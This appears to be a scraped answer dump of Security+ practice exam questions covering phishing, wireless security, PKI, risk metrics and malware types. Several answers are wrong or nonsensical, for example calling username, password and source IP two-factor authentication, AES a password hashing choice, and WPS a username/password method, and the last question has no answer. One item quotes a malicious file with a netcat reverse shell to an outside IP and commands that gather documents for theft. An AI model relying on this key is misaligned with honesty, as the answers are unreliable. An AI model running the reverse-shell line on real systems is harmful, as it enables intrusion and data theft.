A company help desk has received several reports that employees have experienced identity theft and compromised accounts. This occurred several days after receiving an email asking them to update their personal bank information. Which of the following is a vulnerability that has been exploited?
Untrained users
A forensic expert is given a hard drive from a crime scene and is asked to perform an investigation. Which of the following is the FIRST step the forensic expert needs to take the chain of custody?
Update the evidence log
An employee in the finance department receives an email, which appears to come from the Chief Financial Officer (CFO), instructing the employee to immediately wire a large sum of money to a vendor. Which of the following BEST describes the principles of social engineering used? (Choose two.)
Urgency Authority
A network technician discovered the usernames and passwords used for network device configuration have been compromised by a user with a packet sniffer. Which of the following would secure the credentials from sniffing?
Use SSH for remote access
An organization wants to set up a wireless network in the most secure way. Budget is not a major consideration, and the organization is willing to accept some complexity when clients are connecting. It is also willing to deny wireless connectivity for clients who cannot be connected in the most secure manner. Which of the following would be the MOST secure setup that conforms to the organization's requirements?
Use WPA2-Enterprise with RADIUS and disable pre-shared keys.
A Chief Executive Officer (CEO) is staying at a hotel during a business trip. The hotel's wireless network does not show a lock symbol. Which of the following precautions should the CEO take? (Choose two.)
Use a VPN Tether to a mobile phone
As part of a new industry regulation, companies are required to utilize secure, standardized OS settings. A technical must ensure the OS settings are hardened. Which of the following is the BEST way to do this?
Use a configuration compliance scanner.
A company's IT staff is given the task of securely disposing of 100 server HDDs. The security team informs the IT staff that the data must not be accessible by a third party after disposal. Which of the following is the MOST time-efficient method to achieve this goal?
Use a degausser to sanitize the drives.
A penetration testing is preparing for a client engagement in which the tester must provide data that proves and validates the scanning tools' results. Which of the following is the best method for collecting this information?
Use a protocol analyzer to log all pertinent network traffic
An organization identifies a number of hosts making outbound connections to a known malicious IP over port TCP 80. The organization wants to identify the data being transmitted and prevent future connections to this IP. Which of the following should the organization do to achieve this outcome?
Use a protocol analyzer to reconstruct the data and blacklist the IP on the firewall.
A systems developer needs to provide machine-to-machine interface between an application and a database server in the production environment. This interface will exchange data once per day. Which of the following access control account practices would BEST be used in this situation?
Use a service account and prohibit users from accessing this account for development work.
As a security measure, an organization has disabled all external media from accessing the network. Since some users may have data that needs to be transferred to the network, which of the following would BEST assist a security administrator with transferring the data while keeping the internal network secure?
Use a standalone scanning system
A systems administrator is installing and configuring an application service that requires access to read and write to log and configuration files on a local hard disk partition. The service must run as an account with authorization to interact with the file system. Which of the following would reduce the attack surface added by the service and account? (Choose two.)
Use a unique managed service account. Enforce least possible privileges for the account
A company has critical systems that are hosted on an end-of-life OS. To maintain operations and mitigate potential vulnerabilities, which of the following BEST accomplishes this objective?
Use application whitelisting.
A company has two wireless networks utilizing captive portals. Some employees report getting a trust error in their browsers when connecting to one of the networks. Both captive portals are using the same server certificate for authentication, but the analyst notices the following differences between the two certificate details: Certificate 1 Certificate Path: Geotrust Global CA *company.com Certificate 2 Certificate Path: *company.com Which of the following would resolve the problem?
Use certificate chaining.
The chief security officer (CS0) has issued a new policy that requires that all internal websites be configured for HTTPS traffic only. The network administrator has been tasked to update all internal sites without incurring additional costs. Which of the following is the best solution for the network administrator to secure each internal website?
Use certificates signed by the company CA
A security analyst wishes to increase the security of an FTP server. Currently, all traffic to the FTP server is unencrypted. Users connecting to the FTP server use a variety of modern FTP client software. The security analyst wants to keep the same port and protocol, while also still allowing unencrypted connections. Which of the following would BEST accomplish these goals?
Use explicit FTPS for connections
Datacenter employees have been battling alarms in a datacenter that has been experiencing hotter than normal temperatures. The server racks are designed so all 48 rack units are in use, and servers are installed in any manner in which the technician can get them installed. Which of the following practices would BEST alleviate the heat issues and keep costs low?
Use hot and cold aisles.
Company XYZ has decided to make use of a cloud-based service that requires mutual, certificate- based authentication with its users. The company uses SSL-inspecting IDS at its network boundary and is concerned about the confidentiality of the mutual authentication. Which of the following model prevents the IDS from capturing credentials used to authenticate users to the new service or keys to decrypt that communication?
Use of active directory federation between the company and the cloud-based service
Ann, a college professor, was recently reprimanded for posting disparaging remarks re-grading her coworkers on a web site. Ann stated that she was not aware that the public was able to view her remakes. Which of the following security-related trainings could have made Ann aware of the repercussions of her actions?
Use of social networking
A bank is experiencing a DoS attack against an application designed to handle 500 IP-based sessions. in addition, the perimeter router can only handle 1Gbps of traffic. Which of the following should be implemented to prevent a DoS attacks in the future?
Use redundancy across all network devices and services
During a recent audit, it was discovered that several user accounts belonging to former employees were still active and had valid VPN permissions. Which of the following would help reduce the amount of risk the organization incurs in this situation in the future?
User access reviews
An organization is providing employees on the shop floor with computers that will log their time based on when they sign on and off the network. Which of the following account types should the employees receive?
User account
After a merger, it was determined that several individuals could perform the tasks of a network administrator in the merged organization. Which of the following should have been performed to ensure that employees have proper access?
User rights and permission review
Which of the following can be provided to an AAA system for the identification phase?
Username
Which of the following implements two-factor authentication on a VPN?
Username, password, and source IP
An organization hosts a public-facing website that contains a login page for users who are registered and authorized to access a secure, non-public section of the site. That non-public site hosts information that requires multifactor authentication for access. Which of the following access management approaches would be the BEST practice for the organization?
Username/password with a CAPTCHA
Employees receive a benefits enrollment email from the company's human resources department at the beginning of each year. Several users have reported receiving the email but are unable to log in to the website with their usernames and passwords. Users who enter the URL for the human resources website can log in without issue. Which of the following security issues is occurring?
Users received a social engineering email and were directed to an external website
In terms of encrypting data, which of the following is BEST described as a way to safeguard password data by adding random data to it in storage?
Using Salt
Which of the following is an example of federated access management?
Using a popular website login to provide access to another website
An attack that is using interference as its main attack to impede network traffic is which of the following?
Using a similar wireless configuration of a nearby network
A dumpster diver recovers several hard drives from a company and is able to obtain confidential data from one of the hard drives. The company then discovers its information is posted online. Which of the following methods would have MOST likely prevented the data from being exposed?
Using magnetic fields to erase the data
A company is planning to utilize its legacy desktop systems by converting them into dummy terminals and moving all heavy applications and storage to a centralized server that hosts all of the company's required desktop applications. Which of the following describes the BEST deployment method to meet these requirements?
VDI
A company that processes sensitive information has implemented a BYOD policy and an MDM solution to secure sensitive data that is processed by corporate and personally owned mobile devices. Which of the following should the company implement to prevent sensitive data from being stored on mobile devices?
VDI
The phones at a business are being replaced with VoIP phones that get plugged in-line between the switch and PC. The voice and data networks still need to be kept separate. Which of the following would allow for this?
VLAN
A systems administrator is increasing the security settings on a virtual host to ensure users on one VM cannot access information from another VM. Which of the following is the administrator protecting against?
VM escape
Which of the following describes the ability of code to target a hypervisor from inside a guest OS?
VM escape
Which of the following should be implemented to stop an attacker from interacting with the hypervisor through another guest?
VM escape protection
A Chief Information Security Officer (CISO) asks the security architect to design a method for contractors to access the company's internal network securely without allowing access to systems beyond the scope of their project. Which of the following methods would BEST fit the needs of the CISO?
VPN
A network administrator wants to implement a method of securing internal routing. Which of the following should the administrator implement?
VPN
Users report the following message appears when browsing to the company's secure site: This website cannot be trusted. Which of the following actions should a security analyst take to resolve these messages? (Choose two.)
Verify the certificate has not expired on the server. Update the root certificate into the client computer certificate store.
Which of the following is an important step to take BEFORE moving any installation packages from a test environment to production?
Verify the hashes of files
Which of the following technologies would be MOST appropriate to utilize when testing a new software patch before a company-wide deployment?
Virtualization
Ann, a new employee, received an email from an unknown source indicating she needed to click on the provided link to update her company's profile. Once Ann clicked the link, a command prompt appeared with the following output:
Virus
*LAB* Attacker collecting credit card details - phone based victim
Vishing
Anne, the Chief Executive Officer (CEO), has reported that she is getting multiple telephone calls from someone claiming to be from the helpdesk. The caller is asking to verify her network authentication credentials because her computer is broadcasting across the network. This is MOST likely which of the following types of attacks?
Vishing
Which of the following describes the key difference between vishing and phishing attacks?
Vishing attacks are accomplished using telephony services.
A security administrator is tasked with conducting an assessment made to establish the baseline security posture of the corporate IT infrastructure. The assessment must report actual flaws and weaknesses in the infrastructure. Due to the expense of hiring outside consultants, the testing must be performed using in-house or cheaply available resource. There cannot be a possibility of any requirement being damaged in the test. Which of the following has the administrator been tasked to perform?
Vulnerability assessment
During a recent audit, it was discovered that many services and desktops were missing security patches. Which of the following BEST describes the assessment that was performed to discover this issue?
Vulnerability scan
Which of the following would verify that a threat does exist and security controls can easily be bypassed without actively testing an application?
Vulnerability scan
A security analyst is reviewing an assessment report that includes software versions, running services, supported encryption algorithms, and permission settings. Which of the following produced the report?
Vulnerability scanner
A company hires a consulting firm to crawl its Active Directory network with a non-domain account looking for unpatched systems. Actively taking control of systems is out of scope, as is the creation of new administrator accounts. For which of the following is the company hiring the consulting firm?
Vulnerability scanning
An instructor is teaching a hands-on wireless security class and needs to configure a test access point to show students an attack on a weak protocol. Which of the following configurations should the instructor implement?
WEP
A system administrator wants to provide balance between the security of a wireless network and usability. The administrator is concerned with wireless encryption compatibility of older devices used by some employees. Which of the following would provide strong security and backward compatibility when accessing the wireless network?
WPA using a preshared key
An administrator is replacing a wireless router. The configuration of the old wireless router was not documented before it stopped functioning. The equipment connecting to the wireless network uses older legacy equipment that was manufactured prior to the release of the 802.11i standard. Which of the following configuration options should the administrator select for the new wireless router?
WPA+TKIP
A company wants to configure its wireless network to require username and password authentication. Which of the following should the systems administrator implement?
WPS
A network administrator at a small office wants to simplify the configuration of mobile clients connecting to an encrypted wireless network. Which of the following should be implemented in the administrator does not want to provide the wireless password or he certificate to the employees?
WPS
A systems administrator needs to integrate multiple IoT and small embedded devices into the company's wireless network securely. Which of the following should the administrator implement to ensure low-power and legacy devices can connect to the wireless network?
WPS
A security guard has informed the Chief Information Security Officer that a person with a tablet has been walking around the building. The guard also noticed strange white markings in different areas of the parking lot. The person is attempting which of the following types of attacks?
War chalking
A security administrator is investigating a report that a user is receiving suspicious emails. The user's machine has an old functioning modem installed. Which of the following security concerns need to be identified and mitigated? (Choose two.)
War dialing Hoaxing
A software development manager is taking over an existing software development project. The team currently suffers from poor communication due to a long delay between requirements documentation and feature delivery. This gap is resulting in an above average number of security-related bugs making it into production.
Waterfall
A malicious actor compromises a legitimate website, configuring it to deliver malware to visitors of the website. Which of the following attacks does this describe?
Watering hole
An organization wants to implement a method to correct risks at the system/application layer. Which of the following is the BEST method to accomplish this goal?
Web application firewall
As part of the SDLC, a third party is hired to perform a penetration test. The third party will have access to the source code, integration tests, and network diagrams. Which of the following BEST describes the assessment being performed?
White box
Which of the following types of security testing is the MOST cost-effective approach used to analyze existing code and identity areas that require patching?
White box
Which of the following methods is used by internal security teams to assess the security of internally developed applications?
White box testing
A number of employees report that parts of an ERP application are not working. The systems administrator reviews the following information from one of the employee workstations: Execute permission denied: fiancemodule.dll Execute permission denied: generalledger.dll Which of the following should the administrator implement to BEST resolve this issue while minimizing risk and attack exposure?
Whitelist the affected libraries
Which of the following BEST explains why a development environment should have the same database server secure baseline that exists in production even if there is no PII in the database?
Without the same configuration in both development and production, there are no assurances that changes made in development will have the same effect in production
A security analyst recommends implementing SSL for an existing web service. A technician installs the SSL certificate and successfully tests the connection on the server. Soon after, the help desk begins receiving calls from users who are unable to log in. After further investigation, it becomes clear that no users have successfully connected to the web server since the certificate installation. Which of the following is MOST likely the issue?
Workstations need an updated trusted sites list.
A security analyst has identified malware that is propagating automatically to multiple systems on the network. Which of the following types of malware is MOST likely impacting the network?
Worm
An engineer is configuring a wireless network using PEAP for the authentication protocol. Which of the following is required?
X.509 certificate on the server
Which of the following attack types BEST describes a client-side attack that is used to manipulate an HTML iframe with JavaScript code via a web browser?
XSS
Which of the following is the main difference between an XSS vulnerability and a CSRF vulnerability?
XSS does not need the victim to be authenticated to the trusted server. CSRF needs the victim to be authenticated to the trusted server.
Which of the following BEST describes a security exploit for which a vendor patch is not readily available?
Zero-day
Which of the following terms BEST describes an exploitable vulnerability that exists but has not been publicly disclosed yet?
Zero-day
An attacker discovers a new vulnerability in an enterprise application. The attacker takes advantage of the vulnerability by developing new malware. After installing the malware, the attacker is provided with access to the infected machine. Which of the following is being described?
Zero-day exploit
A security analyst is attempting to break into a client's secure network. The analyst was not given prior information about the client, except for a block of public IP addresses that are currently in use. After network enumeration, the analyst's NEXT step is to perform:
a gray-box penetration test.
During incident response procedures, technicians capture a unique identifier for a piece of malware running in memory. This captured information is referred to as:
a hash value.
A critical enterprise component whose loss or destruction would significantly impede business operations or have an outsized impact on corporate revenue is known as:
a mission-essential function.
A commercial cyber-threat intelligence organization observes IoCs across a variety of unrelated customers. Prior to releasing specific threat intelligence to other paid subscribers, the organization is MOST likely obligated by contracts to:
anonymize any PII that is observed within the IoC data.
The exploitation of a buffer-overrun vulnerability in an application will MOST likely lead to:
arbitrary code execution.
An active/passive configuration has an impact on:
availability
Exploitation of a system using widely known credentials and network addresses that results in DoS is an example of:
default configurations
A security administrator suspects that a DDoS attack is affecting the DNS server. The administrator accesses a workstation with the hostname of workstation01 on the network and obtains the following output from the ipconfig command: IP ADDRESS SUBNET MASK DEFAULT GATEWAY DNS SERVER ADDRESS 192.168.1.26 255.255.255.0 192.168.1.254 192.168.1.254 The administrator successfully pings the DNS server from the workstation. Which of the following commands should be issued from the workstation to verify the DDoS attack is no longer occuring?
dig workstation01.com
When a malicious user is able to retrieve sensitive information from RAM, the programmer has failed to implement:
encryption of data in use.
The concept of connecting a user account across the systems of multiple enterprises is BEST known as:
federation.
A threat actor motivated by political goals that is active for a short period of time but has virtually unlimited resources is BEST categorized as a:
hacktivist
A botnet has hit a popular website with a massive number of GRE-encapsulated packets to perform a DDoS attack. News outlets discover a certain type of refrigerator was exploited and used to send outbound packets to the website that crashed. To which of the following categories does the refrigerator belong?
iOT - internet of things
Buffer overflow can be avoided using proper:
input validation
During certain vulnerability scanning scenarios, it is possible for the target system to react in unexpected ways. This type of scenario is MOST commonly known as:
intrusive testing
Penetration testing is distinct from vulnerability scanning primarily because penetration testing:
involves multiple active exploitation techniques
A transitive trust:
is automatically established between a parent and a child
A pass-the-hash attack is commonly used to:
laterally move across the network.
An auditor wants to test the security posture of an organization by running a tool that will display the following: JIMS <00> UNIQUE Registered WORKGROUP <00> GROUP Registered JIMS <00> UNIQUE Registered Which of the following commands should be used?
nbtstat
A penetration tester is checking to see if an internal system is vulnerable to an attack using a remote listener. Which of the following commands should the penetration tester use to verify if this vulnerability exists? (Choose two.)
nc nmap
A company wants to ensure that the validity of publicly trusted certificates used by its web server can be determined even during an extended internet outage. Which of the following should be implemented?
CRL
A security analyst is attempting to identify vulnerabilities in a customer's web application without impacting the system or its data. Which of the following BEST describes the vulnerability scanning concept performed?
Passive scan
Which of the following should a security analyst perform FIRST to determine the vulnerabilities of a legacy system?
Passive scan
A company wants to host a publicly available server that performs the following functions: Evaluates MX record lookup Can perform authenticated requests for A and AAA records Uses RRSIG Which of the following should the company use to fulfill the above requirements?
DNSSEC
An organization's Chief Executive Officer (CEO) directs a newly hired computer technician to install an OS on the CEO's personal laptop. The technician performs the installation, and a software audit later in the month indicates a violation of the EULA occurred as a result. Which of the following would address this violation going forward?
AUP
Which of the following serves to warn users against downloading and installing pirated software on company devices?
AUP
A security analyst is performing a quantitative risk analysis. The risk analysis should show the potential monetary loss each time a threat or event occurs. Given this requirement, which of the following concepts would assist the analyst in determining this value? (Choose two.)
AV EF
A Chief Information Officer (CIO) has decided it is not cost effective to implement safeguards against a known vulnerability. Which of the following risk responses does this BEST describe?
Acceptance
During a routine audit, it is discovered that someone has been using a stale administrator account to log into a seldom used server. The person has been using the server to view inappropriate websites that are prohibited to end users. Which of the following could best prevent this from occurring again?
Account expiration policy
A systems administrator wants to configure an enterprise wireless solution that supports authentication over HTTPS and wireless encryption using AES. Which of the following should the administrator configure to support these requirements? (Choose two.)
802.1X WPA2
A Chief Information Officer (CIO) asks the company's security specialist if the company should spend any funds on malware protection for a specific server. Based on a risk assessment, the ARO value of a malware infection for a server is 5 and the annual cost for the malware protection is $2500. Which of the following SLE values warrants a recommendation against purchasing the malware protection?
$500
Which of the following would enhance the security of accessing data stored in the cloud? (Select TWO)
SAML authentication Multifactor authentication
An organization is looking to build its second head office in another city, which has a history of flooding with an average of two floods every 100 years. The estimated building cost is $1 million, and the estimated damage due to flooding is half of the building's cost. Given this information, which of the following is the SLE?
$500,000
A security analyst is hardening a large-scale wireless network. The primary requirements are the following: Must use authentication through EAP-TLS certificates Must use an AAA server Must use the most secure encryption protocol Given these requirements, which of the following should the analyst implement and recommend? (Choose two.)
802.1X WPA2-PSK
A network administrator is implementing multifactor authentication for employees who travel and use company devices remotely by using the company VPN. Which of the following would provide the required level of authentication?
802.1X and OTP
Which of the following technologies employ the use of SAML? (Choose two.)
Single sign-on Federation
A network administrator at a large organization is reviewing methods to improve the security of the wired LAN. Any security improvement must be centrally managed and allow corporate-owned devices to have access to the intranet but limit others to Internet access only. Which of the following should the administrator recommend?
802.1X utilizing the current PKI infrastructure
A wireless network uses a RADIUS server that is connected to an authenticator, which in turn connects to a supplicant. Which of the following represents the authentication architecture in use?
802.1x
A security analyst is implementing PKI-based functionality to a web application that has the following requirements: File contains certificate information Certificate chains Root authority certificates Private key All of these components will be part of one file and cryptographically protected with a password. Given this scenario, which of the following certificate types should the analyst implement to BEST meet these requirements?
.pfx certificate
A forensic analyst is asked to respond to an ongoing network attack on a server. Place the items in the list below in the correct order in which the forensic analyst should preserve them.
1 - CPU CACHE 2 - RAM 3 - SWAP 4 - HARD DRIVE
A security analyst is running a credential-based vulnerability scanner on a Windows host. The vulnerability scanner is using the protocol NetBIOS over TCP/IP to connect to various systems, However, the scan does not return any results. To address the issue, the analyst should ensure that which of the following default ports is open on systems?
137
A security administrator is creating a subnet on one of the corporate firewall interfaces to use as a DMZ which is expected to accommodate at most 14 physical hosts. Which of the following subnets would BEST meet the requirements?
192.168.0.16/28
A penetration tester is conducting an assessment on Comptia.org and runs the following command from a coffee shop while connected to the public Internet: c:\nslookup -querytype=MX comptia.org Server: Unknown Address: 198.51.100.45 comptia.org MX preference=10, mail exchanger = 92.68.102.33 comptia.org MX preference=20, mail exchanger = exchg1.comptia.org exchg1.comptia.org internet address = 192.168.102.67 Which of the following should the penetration tester conclude about the command output?
192.168.102.67 is a backup mail server that may be more vulnerable to attack.
A database backup schedule consists of weekly full backups performed on Saturday at 12:00 a.m. and daily differential backups also performed at 12:00 a.m. If the database is restored on Tuesday afternoon, which of the following is the number of individual backups that would need to be applied to complete the database recovery?
2
f two employees are encrypting traffic between them using a single encryption key, which of the following algorithms are they using?
3DES
Which of the following encryption algorithms require one encryption key? (Choose two.)
3DES RC4
A technician must configure a firewall to block external DNS traffic from entering a network. Which of the following ports should they block on the firewall?
53
A company uses WPA2-PSK, and it appears there are multiple unauthorized devices connected to the wireless network. A technician suspects this is because the wireless password has been shared with unauthorized individuals. Which of the following should the technician implement to BEST reduce the risk of this happening in the future?
802.1X
Joe notices there are several user accounts on the local network generating spam with embedded malicious code. Which of the following technical control should Joe put in place to BEST reduce these incidents?
Account lockout
A security technician is configuring an access management system to track and record user actions. Which of the following functions should the technician configure?
Accounting
A penetration tester has been hired to scan a company's network for potentially active hosts. The company's IPS system blocks the ICMP echo reply and echo request packets. Which of the following can be used to scan the network?
ARP
Which of the following enables sniffing attacks against a switched network?
ARP poisoning
Which of the following types of attack is being used when an attacker responds by sending the MAC address of the attacking machine to resolve the MAC to IP address of a valid server?
ARP poisoning
Which of the following differentiates ARP poisoning from a MAC spoofing attack?
ARP poisoning uses unsolicited ARP replies.
Which of the following concepts ensure ACL rules on a directory are functioning as expected? (Choose two.)
Accounting Auditing
A security administrator needs to configure remote access to a file share so it can only be accessed between the hours of 9:00 a.m. and 5:00 p.m. Files in the share can only be accessed by members of the same department as the data owner. Users should only be able to create files with approved extensions, which may differ by department. Which of the following access controls would be the MOST appropriate for this situation?
ABAC
Malicious traffic from an internal network has been detected on an unauthorized port on an application server. Which of the following network-based security controls should the engineer consider implementing?
ACLs
A security administrator has been asked to implement a VPN that will support remote access over IPSEC. Which of the following is an encryption algorithm that would meet this requirement?
AES
A security administrator is choosing an algorithm to generate password hashes. Which of the following would offer the BEST protection against offline brute force attacks?
AES
A user needs to transmit confidential information to a third party. Which of the following should be used to encrypt the message?
AES
When connected to a secure WAP, which of the following encryption technologies is MOST likely to be configured when connecting to WPA2-PSK?
AES
Which of the following is used to encrypt web application data?
AES
A Security Officer on a military base needs to encrypt several smart phones that will be going into the field. Which of the following encryption solutions should be deployed in this situation?
AES-256
Which of the following is the summary of loss for a given year?
ALE
Which of the following metrics are used to calculate the SLE? (Choose two.)
ARO ALE
To determine the ALE of a particular risk, which of the following must be calculated? (Choose two.)
ARO SLE
A senior incident response manager receives a call about some external IPs communicating with internal computers during off hours. Which of the following types of malware is MOST likely causing this issue?
Botnet
A developer has incorporated routines into the source code for controlling the length of the input passed to the program. Which of the following types of vulnerabilities is the developer protecting the code against?
Buffer overflow
An analyst is reviewing a simple program for potential security vulnerabilities before being deployed to a Windows server. Given the following code: void foo (char *bar) { char random_user_input [12]; strcpy (random_user_input, bar); } Which of the following vulnerabilities is present?
Buffer overflow
A security analyst believes an employee's workstation has been compromised. The analyst reviews the system logs, but does not find any attempted logins. The analyst then runs the diff command, comparing the C:\Windows\System32 directory and the installed cache directory. The analyst finds a series of files that look suspicious. One of the files contains the following commands: cmd /C %TEMP%]nc -e cmd.exe 34.100.43.230 copy *.doc > %TEMP%\docfiles.zip copy *.xls > %TEMP%\xlsfiles.zip copy *.pdf > %TEMP%\pdfiles.zip Which of the following types of malware was used?
Backdoor
An analyst is part of a team that is investigating a potential breach of sensitive data at a large financial services organization. The organization suspects a breach occurred when proprietary data was disclosed to the public. The team finds servers were accessed using shared credentials that have been in place for some time. In addition, the team discovers undocumented firewall rules, which provided unauthorized external access to a server. Suspecting the activities of a malicious insider threat, which of the following was MOST likely to have been utilized to exfiltrate the proprietary data?
Backdoor
A security analyst is investigating a security breach. Upon inspection of the audit an access logs, the analyst notices the host was accessed and the /etc/passwd file was modified with a new entry for username "gotcha" and user ID of 0. Which of the following are the MOST likely attack vector and tool the analyst should use to determine if the attack is still ongoing? (Select TWO)
Backdoor Netstat
A technician needs to document which application versions are listening on open ports. Which of the following is MOST likely to return the information the technician needs?
Banner grabbing
Which of the following is a passive method to test whether transport encryption is implemented?
Banner grabbing
The Chief Information Security Officer (CISO) is asking for ways to protect against zero-day exploits. The CISO is concerned that an unrecognized threat could compromise corporate data and result in regulatory fines as well as poor corporate publicity. The network is mostly flat, with split staff/guest wireless functionality. Which of the following equipment MUST be deployed to guard against unknown threats?
Behavior-based IPS with a communication link to a cloud-based vulnerability and threat feed
A company has a data classification system with definitions for "Private" and "Public". The company's security policy outlines how data should be protected based on type. The company recently added the data type "Proprietary". Which of the following is the MOST likely reason the company added this data type?
Better data classification
An auditor has identified an access control system that can incorrectly accept an access attempt from an unauthorized user. Which of the following authentication systems has the auditor reviewed?
Biometric-based
An external contractor, who has not been given information about the software or network architecture, is conducting a penetration test. Which of the following BEST describes the test being performed?
Black box
A security administrator must implement a system to ensure that invalid certificates are not used by a custom developed application. The system must be able to check the validity of certificates even when internet access is unavailable. Which of the following MUST be implemented to support this requirement?
CRL
A security administrator is tasked with implementing centralized management of all network devices. Network administrators will be required to logon to network devices using their LDAP credentials. All command executed by network administrators on network devices must fall within a preset list of authorized commands and must be logged to a central facility. Which of the following configuration commands should be implemented to enforce this requirement?
CN=company, CN=com, OU=netadmin, DC=192.32.10.233
A member of a digital forensics team, Joe arrives at a crime scene and is preparing to collect system data. Before powering the system off, Joe knows that he must collect the most volatile date first. Which of the following is the correct order in which Joe should collect the data?
CPU cache, RAM, paging/swap files, remote logging data
Students at a residence hall are reporting Internet connectivity issues. The university's network administrator configured the residence hall's network to provide public IP addresses to all connected devices, but many student devices are receiving private IP addresses due to rogue devices. The network administrator verifies the residence hall's network is correctly configured and contacts the security administrator for help. Which of the following configurations should the security administrator suggest for implementation?
DHCP snooping
Which of the following is an asymmetric function that generates a new and separate key every time it runs?
DHE
Which of the following provides PFS?
DHE
A company is having issues with intellectual property being sent to a competitor from its system. The information being sent is not random but has an identifiable pattern. Which of the following should be implemented in the system to stop the content from being sent?
DLP
A salesperson often uses a USB drive to save and move files from a corporate laptop. The corporate laptop was recently updated, and now the files on the USB are read-only. Which of the following was recently added to the laptop?
DLP
A user attempts to send an email to an external domain and quickly receives a bounce-back message. The user then contacts the help desk stating the message is important and needs to be delivered immediately. While digging through the email logs, a systems administrator finds the email and bounce-back details: Your email has been rejected because it appears to contain SSN information. Sending SSN information via email to external recipients violates company policy. Which of the following technologies successfully stopped the email from being sent?
DLP
Which of the following components of printers and MFDs are MOST likely to be used as vectors of compromise if they are improperly configured?
Embedded web server
After a routine audit, a company discovers that engineering documents have been leaving the network on a particular port. The company must allow outbound traffic on this port, as it has a legitimate business use. Blocking the port would cause an outage. Which of the following technology controls should the company implement?
DLP
A security administrator suspects that data on a server has been exhilarated as a result of un- authorized remote access. Which of the following would assist the administrator in con-firming the suspicions? (Choose two.)
DLP alerts Log analysis
An employee opens a web browser and types a URL into the address bar. Instead of reaching the requested site, the browser opens a completely different site. Which of the following types of attacks have MOST likely occurred? (Choose two.)
DNS hijacking Session hijacking
Which of the following is being used when a malicious actor searches various social media websites to find information about a company's system administrators and help desk staff?
Passive reconnaissance
The network information for a workstation is as follows: IP Address/Subnet Mask Default Gateway DNS Server 172.16.17.200/24 172.16.17.254 172.16.17.254 When the workstation's user attempts to access www.example.com, the URL that actually opens is www.notexample.com. The user successfully connects to several other legitimate URLs. Which of the following have MOST likely occurred? (Choose two.)
DNS poisoning Domain hijacking
Which of the following scenarios would make a DNS sinkhole effective in thwarting an attack?
DNS routing tables have been compromised, and an attacker is rerouting traffic to malicious websites.
A security administrator has received multiple calls from the help desk about customers who are unable to access the organization's web server. Upon reviewing the log files, the security administrator determines multiple open requests have been made from multiple IP addresses, which is consuming system resources. Which of the following attack types does this BEST describe?
DDoS
Which of the following attacks specifically impact data availability?
DDoS - Distributed Denial of Service attack
A NIPS administrator needs to install a new signature to observe the behavior of a worm that may be spreading over SMB. Which of the following signatures should be installed on the NIPS?
DENY from ANY:ANY to ANY:445 regex '.*SMB.*'
Many employees are receiving email messages similar to the one shown below: From IT department To employee Subject email quota exceeded Pease click on the following link http:www.website.info/email.php?quota=1Gb and provide your username and password to increase your email quota. Upon reviewing other similar emails, the security administrator realized that all the phishing URLs have the following common elements; they all use HTTP, they all come from .info domains, and they all contain the same URI. Which of the following should the security administrator configure on the corporate content filter to prevent users from accessing the phishing URL, while at the same time minimizing false positives?
DENY http://*.info/email.php?quota=1Gb
A malicious actor recently penetrated a company's network and moved laterally to the datacenter. Upon investigation, a forensics firm wants to know what was in the memory on the compromised server. Which of the following files should be given to the forensics firm?
Dump
The Chief Information Security Officer (CISO) in a company is working to maximize protection efforts of sensitive corporate data. The CISO implements a "100% shred" policy within the organization, with the intent to destroy any documentation that is not actively in use in a way that it cannot be recovered or reassembled. Which of the following attacks is this deterrent MOST likely to mitigate?
Dumpster diving
A systems administrator wants to implement a secure wireless network requiring wireless clients to pre-register with the company and install a PKI client certificate prior to being able to connect to the wireless network. Which of the following should the systems administrator configure?
EAP-TLS
A systems engineer is configuring a wireless network. The network must not require installation of third-party software. Mutual authentication of the client and the server must be used. The company has an internal PKI. Which of the following configurations should the engineer choose?
EAP-TLS
A technician wants to implement PKI-based authentication on an enterprise wireless network. Which of the following should the technician configure to enforce the use of client-side certificates?
EAP-TLS
An organization would like to set up a more robust network access system. The network administrator suggests the organization move to a certificate-based authentication setup in which a client-side certificate is used while connecting. Which of the following EAP types should be used to meet these criteria?
EAP-TLS
A developer is creating a new web application on a public cloud platform and wants to ensure the application can respond to increases in load while minimizing costs during periods of low usage. Which of the following strategies is MOST relevant to the use-case?
Elasticity
In a corporation where compute utilization spikes server times a year, the Chief Information Officer (CIO) has requested a cost-effective architecture to handle the variable capacity demand. Which of the following characteristics BEST describes what the CIO has requested?
Elasticity - the degree to which a system is able to adapt to workload changes by provisioning and de-provisioning resources in an automatic manner, such that at each point in time the available resources match the current demand as closely as possible
A security administrator is developing controls for creating audit trails and tracking if a PHI data breach is to occur. The administrator has been given the following requirements: All access must be correlated to a user account. All user accounts must be assigned to a single individual. User access to the PHI data must be recorded. Anomalies in PHI data access must be reported. Logs and records cannot be deleted or modified. Which of the following should the administrator implement to meet the above requirements? (Choose three.)
Eliminate shared accounts. Implement usage auditing and review. Copy logs in real time to a secured WORM drive.
An organization's internal auditor discovers that large sums of money have recently been paid to a vendor that management does not recognize. The IT security department is asked to investigate the organizations the organization's ERP system to determine how the accounts payable module has been used to make these vendor payments. The IT security department finds the following security configuration for the accounts payable module: New Vendor Entry - Required Role: Accounts Payable Clerk New Vendor Approval - Required Role: Accounts Payable Clerk Vendor Payment Entry - Required Role: Accounts Payable Clerk Vendor Payment Approval - Required Role: Accounts Payable Manager Which of the following changes to the security configuration of the accounts payable module would BEST mitigate the risk?
New Vendor Entry - Required Role: Accounts Payable Clerk New Vendor Approval - Required Role: Accounts Payable Manager Vendor Payment Entry - Required Role: Accounts Payable Clerk Vendor Payment Approval - Required Role: Accounts Payable Manager
A software development company needs to share information between two remote servers, using encryption to protect it. A programmer suggests developing a new encryption protocol, arguing that using an unknown protocol with secure, existing cryptographic algorithm libraries will provide strong encryption without being susceptible to attacks on other known protocols. Which of the following summarizes the BEST response to the programmer's proposal?
New protocols often introduce unexpected vulnerabilities, even when developed with otherwise secure and tested algorithm libraries.
A security administrator needs to conduct a full inventory of all encryption protocols and cipher suites. Which of the following tools will the security administrator use to conduct this inventory MOST efficiently?
Nmap
A security administrator suspects there may be unnecessary services running on a server. Which of the following tools will the administrator MOST likely use to confirm the suspicions?
Nmap
A technician has been asked to document which services are running on each of a collection of 200 servers. Which of the following tools BEST meets this need while minimizing the work required?
Nmap
A penetration tester is testing passively for vulnerabilities on a company's network. Which of the following tools should the penetration tester use? (Choose two.)
Nmap Nikto
Which of the following are considered among the BEST indicators that a received message is a hoax? (Choose two.)
No valid digital signature from a known security organization Embedded URLs
A security analyst conducts a manual scan on a known hardened host that identifies many non-compliant configuration items. Which of the following BEST describe why this has occurred? (Choose two.)
